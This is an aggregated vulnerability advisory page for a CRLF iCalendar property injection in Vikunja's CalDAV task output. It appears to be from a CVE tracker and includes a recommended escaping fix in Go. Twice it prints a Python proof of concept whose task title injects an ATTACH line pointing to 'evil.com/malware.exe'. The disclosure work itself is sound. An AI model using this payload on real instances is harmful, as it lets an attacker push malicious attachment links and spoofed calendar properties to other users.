CVE-2026-35601

Vikunja has an iCalendar Property Injection via CRLF in CalDAV Task Output

4.1 MediumFix available

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER. This vulnerability is fixed in 2.3.0.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: Low
User interaction: Required

What an attacker can affect

Confidentiality: None
Integrity: Low
Availability: None

Exploit likelihood

0.20%Up 0.2 points since Apr 11, 2026

What each source reports

CVE List Score used 4.1

Vikunja has an iCalendar Property Injection via CRLF in CalDAV Task Output

Record: CVE-2026-35601
CVSS 3.1: 4.1 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
Weakness: CWE-93
Updated: 2026-11-02

EUVDEUVD-2026-21428 4.1

Record: EUVD-2026-21428
CVSS 3.1: 4.1 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
Updated: 2026-11-02

GitHub AdvisoriesGHSA-2g7h-7rqr-9p4r 4.1

Vikunja has iCalendar Property Injection via CRLF in CalDAV Task Output

Summary

The CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER.

Details

The ParseTodos function at pkg/caldav/caldav.go:146 concatenates the task summary directly into the iCalendar output:

SUMMARY:` + t.Summary + getCaldavColor(t.Color)

RFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as \n, semicolons as \;, commas as \,, and backslashes as \\. None of these escaping rules are applied to Summary, Categories, UID, project name, or alarm Description fields.

Go's JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the SUMMARY property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.

Proof of Concept

Tested on Vikunja v2.2.2.

import requests
from requests.auth import HTTPBasicAuth

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",
    json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "CalDAV Test"}).json()

# create task with CRLF injection in title
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
    "title": "Meeting\r\nATTACH:https://evil.com/malware.exe\r\nX-INJECTED:pwned"
}).json()

# set UID (normally done by CalDAV sync; here via sqlite for PoC)
# sqlite3 vikunja.db "UPDATE tasks SET uid='inject-test-001' WHERE id={task['id']};"
TASK_UID = "inject-test-001"

# fetch via CalDAV
caldav_token = requests.put(f"{API}/user/settings/token/caldav", headers=h).json()["token"]
r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics",
                 auth=HTTPBasicAuth("alice", caldav_token))
print(r.text)

Output:

BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VTODO
UID:inject-test-001
DTSTAMP:20260327T130452Z
SUMMARY:Meeting
ATTACH:https://evil.com/malware.exe
X-INJECTED:pwned
CREATED:20260327T130452Z
LAST-MODIFIED:20260327T130452Z
END:VTODO
END:VCALENDAR

The ATTACH and X-INJECTED lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.

Impact

An authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables:

Injecting malicious attachment URLs (ATTACH) that clients may auto-download or display
Creating fake alarm notifications (VALARM) for social engineering
Spoofing organizer identity (ORGANIZER)

Recommended Fix

Apply RFC 5545 TEXT value escaping to all user-controlled fields:

func escapeICal(s string) string {
    s = strings.ReplaceAll(s, "\\", "\\\\")
    s = strings.ReplaceAll(s, ";", "\\;")
    s = strings.ReplaceAll(s, ",", "\\,")
    s = strings.ReplaceAll(s, "\n", "\\n")
    s = strings.ReplaceAll(s, "\r", "")
    return s
}

Apply escapeICal() to t.Summary, config.Name, t.Categories items, a.Description, t.UID, and r.UID.

Found and reported by aisafe.io

Record: GHSA-2g7h-7rqr-9p4r
CVSS 3.1: 4.1 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
Weakness: CWE-93
Updated: 2026-11-02

NVD 4.1

Record: CVE-2026-35601
CVSS 3.1: 4.1 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
Weakness: CWE-93
Updated: 2026-11-02

OSV 4.1

Vikunja has an iCalendar Property Injection via CRLF in CalDAV Task Output

Record: CVE-2026-35601
CVSS 3.1: 4.1 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
Weakness: CWE-93
Updated: 2026-11-02

OSVGHSA-2g7h-7rqr-9p4r 4.1

Vikunja has iCalendar Property Injection via CRLF in CalDAV Task Output

Summary

Details

The ParseTodos function at pkg/caldav/caldav.go:146 concatenates the task summary directly into the iCalendar output:

SUMMARY:` + t.Summary + getCaldavColor(t.Color)

Proof of Concept

Tested on Vikunja v2.2.2.

import requests
from requests.auth import HTTPBasicAuth

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",
    json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "CalDAV Test"}).json()

# create task with CRLF injection in title
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
    "title": "Meeting\r\nATTACH:https://evil.com/malware.exe\r\nX-INJECTED:pwned"
}).json()

# set UID (normally done by CalDAV sync; here via sqlite for PoC)
# sqlite3 vikunja.db "UPDATE tasks SET uid='inject-test-001' WHERE id={task['id']};"
TASK_UID = "inject-test-001"

# fetch via CalDAV
caldav_token = requests.put(f"{API}/user/settings/token/caldav", headers=h).json()["token"]
r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics",
                 auth=HTTPBasicAuth("alice", caldav_token))
print(r.text)

Output:

BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VTODO
UID:inject-test-001
DTSTAMP:20260327T130452Z
SUMMARY:Meeting
ATTACH:https://evil.com/malware.exe
X-INJECTED:pwned
CREATED:20260327T130452Z
LAST-MODIFIED:20260327T130452Z
END:VTODO
END:VCALENDAR

The ATTACH and X-INJECTED lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.

Impact

Injecting malicious attachment URLs (ATTACH) that clients may auto-download or display
Creating fake alarm notifications (VALARM) for social engineering
Spoofing organizer identity (ORGANIZER)

Recommended Fix

Apply RFC 5545 TEXT value escaping to all user-controlled fields:

func escapeICal(s string) string {
    s = strings.ReplaceAll(s, "\\", "\\\\")
    s = strings.ReplaceAll(s, ";", "\\;")
    s = strings.ReplaceAll(s, ",", "\\,")
    s = strings.ReplaceAll(s, "\n", "\\n")
    s = strings.ReplaceAll(s, "\r", "")
    return s
}

Apply escapeICal() to t.Summary, config.Name, t.Categories items, a.Description, t.UID, and r.UID.

Found and reported by aisafe.io

Record: GHSA-2g7h-7rqr-9p4r
CVSS 3.1: 4.1 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
Weakness: CWE-93
Updated: 2026-11-02

OSVGO-2026-4951 No score

Vikunja has iCalendar Property Injection via CRLF in CalDAV Task Output in code.vikunja.io/api

Vikunja has iCalendar Property Injection via CRLF in CalDAV Task Output in code.vikunja.io/api.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: code.vikunja.io/api before v2.3.0.

Record: GO-2026-4951
Updated: 2026-11-02

OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

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GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
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GO-2026-5933 GHSA-3g4q-2f67-2gvh
GO-2026-5934 GHSA-59qp-cfj3-rp64
GO-2026-5935 GHSA-7856-g3gv-9wq8
GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
GO-2026-5942 CVE-2026-46600
GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
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GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
GO-2026-5969 GHSA-g936-7jqj-mwv8
GO-2026-5970 CVE-2026-56852
GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
GO-2026-5981 GHSA-mqxv-9rm6-w8qc
GO-2026-5982 GHSA-pqg7-v6wh-3pfp
GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
GO-2026-5985 GHSA-7rx3-5wx3-5v76
GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…

Record: openSUSE-SU-2026:21483-1
Updated: 2026-11-02

Affected products

Affected packages

Affected packages
Package	Affected	Fixed
`code.vikunja.io/api` Go	through 2.2.2	2.3.0
`code.vikunja.io/api` Go	before 2.3.0	2.3.0
`code.vikunja.io/api` Go	All versions	None known
`govulncheck-vulndb` openSUSE:Leap 16.0 From an advisory covering 1734 CVEs	before 0.0.20260723T184607-160000.1.1	0.0.20260723T184607-160000.1.1

History

History
Recorded	Changed	Sources
Nov 6, 2026	affected, facts
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-35601 is a medium vulnerability (CVSS 4.1) in Go-vikunja Vikunja, published April 10, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.20%, the 10th percentile. Fixed in code.vikunja.io/api 2.3.0.

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